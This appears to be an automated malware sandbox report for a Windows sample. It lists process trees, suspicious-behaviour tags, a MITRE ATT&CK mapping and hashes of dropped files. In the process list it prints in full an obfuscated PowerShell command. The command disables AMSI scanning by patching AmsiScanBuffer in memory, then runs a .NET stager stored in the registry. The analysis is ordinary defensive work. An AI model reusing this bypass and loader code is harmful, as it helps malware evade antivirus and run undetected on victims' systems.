pid Process 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1980 wrote to memory of 2020 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 82 PID 1980 wrote to memory of 2020 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 82 PID 1980 wrote to memory of 4688 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1980 wrote to memory of 4688 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1980 wrote to memory of 4688 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 1980 wrote to memory of 4688 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 84 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 4688 wrote to memory of 1188 4688 powershell.exe 86 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 3192 wrote to memory of 4864 3192 powershell.EXE 89 PID 4864 wrote to memory of 624 4864 dllhost.exe 5 PID 4864 wrote to memory of 688 4864 dllhost.exe 7 PID 4864 wrote to memory of 972 4864 dllhost.exe 12 PID 4864 wrote to memory of 376 4864 dllhost.exe 13 PID 4864 wrote to memory of 440 4864 dllhost.exe 14 PID 4864 wrote to memory of 964 4864 dllhost.exe 15 PID 4864 wrote to memory of 1080 4864 dllhost.exe 16 PID 4864 wrote to memory of 1092 4864 dllhost.exe 17 PID 4864 wrote to memory of 1128 4864 dllhost.exe 19 PID 4864 wrote to memory of 1148 4864 dllhost.exe 20 PID 4864 wrote to memory of 1272 4864 dllhost.exe 21 PID 4864 wrote to memory of 1308 4864 dllhost.exe 22 PID 4864 wrote to memory of 1388 4864 dllhost.exe 23 PID 4864 wrote to memory of 1408 4864 dllhost.exe 24 PID 4864 wrote to memory of 1444 4864 dllhost.exe 25 PID 4864 wrote to memory of 1492 4864 dllhost.exe 26 PID 4864 wrote to memory of 1500 4864 dllhost.exe 27 PID 4864 wrote to memory of 1668 4864 dllhost.exe 28 PID 4864 wrote to memory of 1692 4864 dllhost.exe 29 PID 4864 wrote to memory of 1784 4864 dllhost.exe 30 PID 4864 wrote to memory of 1792 4864 dllhost.exe 31 PID 4864 wrote to memory of 1880 4864 dllhost.exe 32 PID 4864 wrote to memory of 2032 4864 dllhost.exe 33 PID 4864 wrote to memory of 1200 4864 dllhost.exe 34 PID 4864 wrote to memory of 1384 4864 dllhost.exe 35 PID 4864 wrote to memory of 1828 4864 dllhost.exe 36 PID 4864 wrote to memory of 1932 4864 dllhost.exe 37 PID 4864 wrote to memory of 2156 4864 dllhost.exe 38 PID 4864 wrote to memory of 2236 4864 dllhost.exe 40 PID 4864 wrote to memory of 2376 4864 dllhost.exe 41 PID 4864 wrote to memory of 2500 4864 dllhost.exe 42 PID 4864 wrote to memory of 2512 4864 dllhost.exe 43 PID 4864 wrote to memory of 2652 4864 dllhost.exe 44 PID 4864 wrote to memory of 2664 4864 dllhost.exe 45 PID 4864 wrote to memory of 2752 4864 dllhost.exe 46 PID 4864 wrote to memory of 2760 4864 dllhost.exe 47 PID 4864 wrote to memory of 2816 4864 dllhost.exe 48 PID 4864 wrote to memory of 2828 4864 dllhost.exe 49 PID 4864 wrote to memory of 2836 4864 dllhost.exe 50 PID 4864 wrote to memory of 2852 4864 dllhost.exe 51 PID 4864 wrote to memory of 2904 4864 dllhost.exe 52 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:376
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{38bd778d-72dd-40e4-b91c-6bef44bb65e6}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1148 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2852
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZlSuRwmyAxcS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dhgFSTjUYcgUeJ,[Parameter(Position=1)][Type]$QgFQciqsGX)$jiBAHZAnumS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'em'+[Char](111)+'ry'+'M'+''+'o'+''+'d'+''+'u'+'le',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'Seal'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$jiBAHZAnumS.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+'Hi'+[Char](100)+'e'+[Char](66)+'y'+'S'+'ig'+','+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$dhgFSTjUYcgUeJ).SetImplementationFlags('Ru'+'n'+'ti'+'m'+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');$jiBAHZAnumS.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'ig'+','+''+[Char](78)+''+'e'+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$QgFQciqsGX,$dhgFSTjUYcgUeJ).SetImplementationFlags('R'+'u'+''+'n'+'ti'+[Char](109)+''+'e'+',M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $jiBAHZAnumS.CreateType();}$iNcnxNdrUbpzd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+'e'+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+'c'+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+[Char](50)+'.'+[Char](85)+'n'+[Char](115)+'a'+[Char](102)+''+'e'+''+'N'+''+'a'+''+'t'+'iv'+[Char](101)+''+[Char](77)+'e'+'t'+'ho'+'d'+'s');$DUwnbtAiwOTKgq=$iNcnxNdrUbpzd.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+'res'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'li'+[Char](99)+''+','+''+'S'+''+[Char](116)+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GkfEHHiTrxnnyQVxdsf=ZlSuRwmyAxcS @([String])([IntPtr]);$bKgWGQaRwaSwmiQlTwrajv=ZlSuRwmyAxcS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gtaYeHXrKBF=$iNcnxNdrUbpzd.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$EgngOiAsjmSsIT=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$gtaYeHXrKBF,[Object](''+[Char](76)+''+'o'+''+'a'+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$JrPPCKYbIwWBqgeab=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$gtaYeHXrKBF,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'lPro'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$jTqHAFe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EgngOiAsjmSsIT,$GkfEHHiTrxnnyQVxdsf).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$AMhMpIkpCrGhVaZsG=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$jTqHAFe,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+'a'+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$aPKoQUDIRO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JrPPCKYbIwWBqgeab,$bKgWGQaRwaSwmiQlTwrajv).Invoke($AMhMpIkpCrGhVaZsG,[uint32]8,4,[ref]$aPKoQUDIRO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AMhMpIkpCrGhVaZsG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JrPPCKYbIwWBqgeab,$bKgWGQaRwaSwmiQlTwrajv).Invoke($AMhMpIkpCrGhVaZsG,[uint32]8,0x20,[ref]$aPKoQUDIRO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'T'+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](110)+''+[Char](121)+''+[Char](97)+''+'-'+''+'s'+'ta'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1444
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1932
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2156
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2760
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2904
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3352
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3392
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C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"2⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F3⤵PID:2020
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"4⤵
- System Location Discovery: System Language Discovery
PID:1188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3604
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3788
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3952
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4500
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4044
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2632
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:564
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4472
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2792
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1088
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 5151ffa362a63e2c0fa6f329434dd3d8 plMvRhIyq0WlilEX1bDG/A.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3876 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2788
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3856
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:816
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4832
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:768
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82